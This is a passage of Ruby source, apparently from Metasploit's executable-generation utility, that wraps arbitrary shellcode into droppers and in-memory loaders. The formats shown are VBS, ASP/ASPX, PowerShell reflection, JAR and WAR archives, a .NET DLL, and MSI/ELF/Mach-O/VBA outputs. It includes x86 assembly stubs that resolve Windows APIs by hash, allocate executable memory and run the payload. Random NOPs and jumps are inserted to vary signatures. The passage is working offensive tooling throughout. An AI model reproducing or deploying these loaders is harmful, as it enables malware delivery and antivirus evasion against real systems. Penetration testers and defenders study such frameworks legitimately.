hash_sub[:init] << "Do\r\n"
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
hash_sub[:init] << "WScript.Sleep #{delay * 1000}\r\n"
hash_sub[:init] << "Loop\r\n"
else
hash_sub[:init] << "#{hash_sub[:var_func]}\r\n"
end
read_replace_script_template("to_exe.vbs.template", hash_sub)
end
def self.to_exe_asp(exes = '', opts = {})
hash_sub = {}
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(4)+4) # repeated a large number of times, so keep this one small
hash_sub[:var_fname] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_stream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_obj] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_shell] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_shellcode] = Rex::Text.to_vbscript(exes, hash_sub[:var_bytes])
read_replace_script_template("to_exe.asp.template", hash_sub)
end
def self.to_exe_aspx(exes = '', opts = {})
hash_sub = {}
hash_sub[:var_file] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempdir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_basedir] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_filename] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_tempexe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_iterator] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:shellcode] = Rex::Text.to_csharp(exes,100,hash_sub[:var_file])
read_replace_script_template("to_exe.aspx.template", hash_sub)
end
def self.to_mem_aspx(framework, code, exeopts = {})
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_funcAddr)
rig.init_var(:var_hThread)
rig.init_var(:var_pInfo)
rig.init_var(:var_threadId)
rig.init_var(:var_bytearray)
hash_sub = rig.to_h
hash_sub[:shellcode] = Rex::Text.to_csharp(code, 100, rig[:var_bytearray])
read_replace_script_template("to_mem.aspx.template", hash_sub)
end
def self.to_win32pe_psh_net(framework, code, opts={})
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_code)
rig.init_var(:var_kernel32)
rig.init_var(:var_baseaddr)
rig.init_var(:var_threadHandle)
rig.init_var(:var_output)
rig.init_var(:var_codeProvider)
rig.init_var(:var_compileParams)
rig.init_var(:var_syscode)
rig.init_var(:var_temp)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
def self.to_win32pe_psh(framework, code, opts = {})
hash_sub = {}
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_win32_func] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_payload] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_size] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_rwx] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_iter] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])
read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
#
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
# Tweaked by shellster
# Originally from PowerSploit
#
def self.to_win32pe_psh_reflection(framework, code, opts = {})
# Intialize rig and value names
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:func_get_proc_address)
rig.init_var(:func_get_delegate_type)
rig.init_var(:var_code)
rig.init_var(:var_module)
rig.init_var(:var_procedure)
rig.init_var(:var_unsafe_native_methods)
rig.init_var(:var_parameters)
rig.init_var(:var_return_type)
rig.init_var(:var_type_builder)
rig.init_var(:var_buffer)
rig.init_var(:var_hthread)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
read_replace_script_template("to_mem_pshreflection.ps1.template",
hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end
def self.to_win32pe_vbs(framework, code, opts = {})
to_exe_vbs(to_win32pe(framework, code, opts), opts)
end
# Creates a jar file that drops the provided +exe+ into a random file name
# in the system's temp dir and executes it.
#
# @see Msf::Payload::Java
#
# @return [Rex::Zip::Jar]
def self.to_jar(exe, opts = {})
spawn = opts[:spawn] || 2
exe_name = Rex::Text.rand_text_alpha(8) + ".exe"
zip = Rex::Zip::Jar.new
zip.add_sub("metasploit") if opts[:random]
paths = [
[ "metasploit", "Payload.class" ],
]
zip.add_files(paths, File.join(Msf::Config.data_directory, "java"))
zip.build_manifest :main_class => "metasploit.Payload"
config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n"
zip.add_file("metasploit.dat", config)
zip.add_file(exe_name, exe)
zip
end
# Creates a Web Archive (WAR) file from the provided jsp code.
#
# On Tomcat, WAR files will be deployed into a directory with the same name
# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the
# server is in a default configuration, deoployment will happen
# automatically. See
# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat
# documentation} for a description of how this works.
#
# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+
# in the archive. This will be compiled by the victim servlet container
# (e.g., Tomcat) and act as the main function for the servlet.
# @param opts [Hash]
# @option opts :jsp_name [String] Name of the <jsp-file> in the archive
# _without the .jsp extension_. Defaults to random.
# @option opts :app_name [String] Name of the app to put in the <servlet-name>
# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to
# random.
# @option opts :extra_files [Array<String,String>] Additional files to add
# to the archive. First elment is filename, second is data
#
# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}
#
# @return [String]
def self.to_war(jsp_raw, opts = {})
jsp_name = opts[:jsp_name]
jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
app_name = opts[:app_name]
app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
web_xml = %q{<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
</web-app>
}
web_xml.gsub!(/NAME/, app_name)
web_xml.gsub!(/PAYLOAD/, jsp_name)
zip = Rex::Zip::Archive.new
zip.add_file('META-INF/', '', meta_inf)
zip.add_file('META-INF/MANIFEST.MF', manifest)
zip.add_file('WEB-INF/', '')
zip.add_file('WEB-INF/web.xml', web_xml)
# add the payload
zip.add_file("#{jsp_name}.jsp", jsp_raw)
# add extra files
if opts[:extra_files]
opts[:extra_files].each {|el| zip.add_file(el[0], el[1])}
end
zip.pack
end
# Creates a Web Archive (WAR) file containing a jsp page and hexdump of a
# payload. The jsp page converts the hexdump back to a normal binary file
# and places it in the temp directory. The payload file is then executed.
#
# @see to_war
# @param exe [String] Executable to drop and run.
# @param opts (see to_war)
# @option opts (see to_war)
# @return (see to_war)
def self.to_jsp_war(exe, opts = {})
# begin <payload>.jsp
hash_sub = {}
hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_data] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_inputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_outputstream] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_numbytes] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_bytearray] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_bytes] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_counter] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_char1] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_char2] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_comb] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exe] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_hexfile] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_proc] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fperm] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_fdel] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_exepatharray] = Rex::Text.rand_text_alpha(rand(8)+8)
# Specify the payload in hex as an extra file..
payload_hex = exe.unpack('H*')[0]
opts.merge!(
{
:extra_files =>
[
[ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
]
})
template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)
self.to_war(template, opts)
end
# Creates a .NET DLL which loads data into memory
# at a specified location with read/execute permissions
# - the data will be loaded at: base+0x2065
# - default max size is 0x8000 (32768)
def self.to_dotnetmem(base=0x12340000, data="", opts = {})
# Allow the user to specify their own DLL template
set_template_default(opts, "dotnetmem.dll")
pe = self.get_file_contents(opts[:template])
# Configure the image base
base_offset = opts[:base_offset] || 180
pe[base_offset, 4] = [base].pack('V')
# Configure the TimeDateStamp
timestamp_offset = opts[:timestamp_offset] || 136
pe[timestamp_offset, 4] = [rand(0x100000000)].pack('V')
# XXX: Unfortunately we cant make this RWX only RX
# Mark this segment as read-execute AND writable
# pe[412,4] = [0xe0000020].pack("V")
# Write the data into the .text segment
text_offset = opts[:text_offset] || 0x1065
text_max = opts[:text_max] || 0x8000
pack = opts[:pack] || 'a32768'
pe[text_offset, text_max] = [data].pack(pack)
# Generic a randomized UUID
uuid_offset = opts[:uuid_offset] || 37656
pe[uuid_offset,16] = Rex::Text.rand_text(16)
pe
end
def self.encode_stub(framework, arch, code, platform = nil, badchars = '')
return code unless framework.encoders
framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
begin
enc = framework.encoders.create(name)
raw = enc.encode(code, badchars, nil, platform)
return raw if raw
rescue
end
end
nil
end
def self.generate_nops(framework, arch, len, opts = {})
opts['BadChars'] ||= ''
opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
return nil unless framework.nops
framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
begin
nop = framework.nops.create(name)
raw = nop.generate_sled(len, opts)
return raw if raw
rescue
# @TODO: stop rescuing everying on each of these, be selective
end
end
nil
end
# This wrapper is responsible for allocating RWX memory, copying the
# target code there, setting an exception handler that calls ExitProcess
# and finally executing the code.
def self.win32_rwx_exec(code)
stub_block = %Q^
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
;loop loop_modname ; Loop until we have read enough
; The random jmps added below will occasionally make this offset
; greater than will fit in a byte, so we have to use a regular jnz
; instruction which can take a full 32-bits to accomodate the
; bigger offset
dec ecx
jnz loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps below
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
^
stub_exit = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: None.
; Clobbers: EAX, EBX, (ESP will also be modified)
; Note: Execution is not expected to (successfully) continue past this block
exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 );
^
stub_alloc = %Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
#{stub_block}
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi, #{code.length}
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code
call get_payload
got_payload:
pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling
exitblock:
#{stub_exit}
set_handler:
xor eax,eax
push dword [fs:eax]
mov dword [fs:eax], esp
call ebx
jmp exitblock
^
stub_final = %Q^
get_payload:
call got_payload
payload:
; Append an arbitrary payload here
^
stub_alloc.gsub!('short', '')
stub_alloc.gsub!('byte', '')
wrapper = ""
# regs = %W{eax ebx ecx edx esi edi ebp}
cnt_jmp = 0
stub_alloc.each_line do |line|
line.gsub!(/;.*/, '')
line.strip!
next if line.empty?
wrapper << "nop\n" if rand(2) == 0
if rand(2) == 0
wrapper << "jmp autojump#{cnt_jmp}\n"
1.upto(rand(8)+8) do
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
end
wrapper << "autojump#{cnt_jmp}:\n"
cnt_jmp += 1
end
wrapper << line + "\n"
end
wrapper << stub_final
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
enc.data + code
end
# This wrapper is responsible for allocating RWX memory, copying the
# target code there, setting an exception handler that calls ExitProcess,
# starting the code in a new thread, and finally jumping back to the next
# code to execute. block_offset is the offset of the next code from
# the start of this code
def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')
stub_block = %Q^
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
^
stub_exit = %Q^
; Input: EBP must be the address of 'api_call'.
; Output: None.
; Clobbers: EAX, EBX, (ESP will also be modified)
; Note: Execution is not expected to (successfully) continue past this block
exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 );
^
stub_alloc = %Q^
pushad ; Save registers
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
delta: ;
#{stub_block}
start: ;
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi,#{code.length}
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; Push the length value of the wrapped code block
push byte 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
mov ebx, eax ; Store allocated address in ebx
mov edi, eax ; Prepare EDI with the new address
mov ecx, esi ; Prepare ECX with the length of the code
call get_payload
got_payload:
pop esi ; Prepare ESI with the source to copy
rep movsb ; Copy the payload to RWX memory
call set_handler ; Configure error handling
exitblock:
#{stub_exit}
set_handler:
xor eax,eax
; push dword [fs:eax]
; mov dword [fs:eax], esp
push eax ; LPDWORD lpThreadId (NULL)
push eax ; DWORD dwCreationFlags (0)
push eax ; LPVOID lpParameter (NULL)
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
push eax ; SIZE_T dwStackSize (0 for default)
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
call ebp ; Spawn payload thread
pop eax ; Skip
; pop eax ; Skip
pop eax ; Skip
popad ; Get our registers back
; sub esp, 44 ; Move stack pointer back past the handler
^
stub_final = %Q^
get_payload:
call got_payload
payload:
; Append an arbitrary payload here
^
stub_alloc.gsub!('short', '')
stub_alloc.gsub!('byte', '')
wrapper = ""
# regs = %W{eax ebx ecx edx esi edi ebp}
cnt_jmp = 0
cnt_nop = 64
stub_alloc.each_line do |line|
line.gsub!(/;.*/, '')
line.strip!
next if line.empty?
if cnt_nop > 0 && rand(4) == 0
wrapper << "nop\n"
cnt_nop -= 1
end
if cnt_nop > 0 && rand(16) == 0
cnt_nop -= 2
cnt_jmp += 1
wrapper << "jmp autojump#{cnt_jmp}\n"
1.upto(rand(8)+1) do
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
cnt_nop -= 1
end
wrapper << "autojump#{cnt_jmp}:\n"
end
wrapper << line + "\n"
end
# @TODO: someone who knows how to use metasm please explain the right way to do this.
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
wrapper << stub_final
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
res = enc.data + code
if which_offset == 'start'
res[soff,4] = [block_offset - (soff + 4)].pack('V')
elsif which_offset == 'end'
res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
else
raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
end
res
end
#
# Generate an executable of a given format suitable for running on the
# architecture/platform pair.
#
# This routine is shared between msfencode, rpc, and payload modules (use
# <payload>)
#
# @param framework [Framework]
# @param arch [String] Architecture for the target format; one of the ARCH_*
# constants
# @param plat [#index] platform
# @param code [String] The shellcode for the resulting executable to run
# @param fmt [String] One of the executable formats as defined in
# {.to_executable_fmt_formats}
# @param exeopts [Hash] Passed directly to the approrpriate method for
# generating an executable for the given +arch+/+plat+ pair.
# @return [String] An executable appropriate for the given
# architecture/platform pair.
# @return [nil] If the format is unrecognized or the arch and plat don't
# make sense together.
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
# For backwards compatibility with the way this gets called when
# generating from Msf::Simple::Payload.generate_simple
if arch.kind_of? Array
output = nil
arch.each do |a|
output = to_executable_fmt(framework, a, plat, code, fmt, exeopts)
break if output
end
return output
end
# otherwise the result of this huge case statement is returned
case fmt
when 'asp'
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
Msf::Util::EXE.to_exe_asp(exe, exeopts)
when 'aspx'
Msf::Util::EXE.to_mem_aspx(framework, code, exeopts)
when 'aspx-exe'
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
Msf::Util::EXE.to_exe_aspx(exe, exeopts)
when 'dll'
case arch
when ARCH_X86,nil
to_win32pe_dll(framework, code, exeopts)
when ARCH_X86_64
to_win64pe_dll(framework, code, exeopts)
when ARCH_X64
to_win64pe_dll(framework, code, exeopts)
end
when 'exe'
case arch
when ARCH_X86,nil
to_win32pe(framework, code, exeopts)
when ARCH_X86_64
to_win64pe(framework, code, exeopts)
when ARCH_X64
to_win64pe(framework, code, exeopts)
end
when 'exe-service'
case arch
when ARCH_X86,nil
to_win32pe_service(framework, code, exeopts)
when ARCH_X86_64
to_win64pe_service(framework, code, exeopts)
when ARCH_X64
to_win64pe_service(framework, code, exeopts)
end
when 'exe-small'
case arch
when ARCH_X86,nil
to_win32pe_old(framework, code, exeopts)
when ARCH_X86_64,ARCH_X64
to_win64pe(framework, code, exeopts)
end
when 'exe-only'
case arch
when ARCH_X86,nil
to_winpe_only(framework, code, exeopts)
when ARCH_X86_64
to_winpe_only(framework, code, exeopts, arch)
when ARCH_X64
to_winpe_only(framework, code, exeopts, arch)
end
when 'msi'
case arch
when ARCH_X86,nil
exe = to_win32pe(framework, code, exeopts)
when ARCH_X86_64,ARCH_X64
exe = to_win64pe(framework, code, exeopts)
end
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
when 'msi-nouac'
case arch
when ARCH_X86,nil
exe = to_win32pe(framework, code, exeopts)
when ARCH_X86_64,ARCH_X64
exe = to_win64pe(framework, code, exeopts)
end
exeopts[:uac] = true
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
when 'elf'
if !plat || plat.index(Msf::Module::Platform::Linux)
case arch
when ARCH_X86,nil
to_linux_x86_elf(framework, code, exeopts)
when ARCH_X86_64
to_linux_x64_elf(framework, code, exeopts)
when ARCH_X64
to_linux_x64_elf(framework, code, exeopts)
when ARCH_ARMLE
to_linux_armle_elf(framework, code, exeopts)
when ARCH_MIPSBE
to_linux_mipsbe_elf(framework, code, exeopts)
when ARCH_MIPSLE
to_linux_mipsle_elf(framework, code, exeopts)
end
elsif plat && plat.index(Msf::Module::Platform::BSD)
case arch
when ARCH_X86,nil
Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
end
elsif plat && plat.index(Msf::Module::Platform::Solaris)
case arch
when ARCH_X86,nil
to_solaris_x86_elf(framework, code, exeopts)
end
end
when 'elf-so'
if !plat || plat.index(Msf::Module::Platform::Linux)
case arch
when ARCH_X86_64
to_linux_x64_elf_dll(framework, code, exeopts)
when ARCH_X64
to_linux_x64_elf_dll(framework, code, exeopts)
end
end
when 'macho', 'osx-app'
macho = case arch
when ARCH_X86,nil
to_osx_x86_macho(framework, code, exeopts)
when ARCH_X86_64
to_osx_x64_macho(framework, code, exeopts)
when ARCH_X64
to_osx_x64_macho(framework, code, exeopts)
when ARCH_ARMLE
to_osx_arm_macho(framework, code, exeopts)
when ARCH_PPC
to_osx_ppc_macho(framework, code, exeopts)
end
fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho
when 'vba'
Msf::Util::EXE.to_vba(framework, code, exeopts)
when 'vba-exe'
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
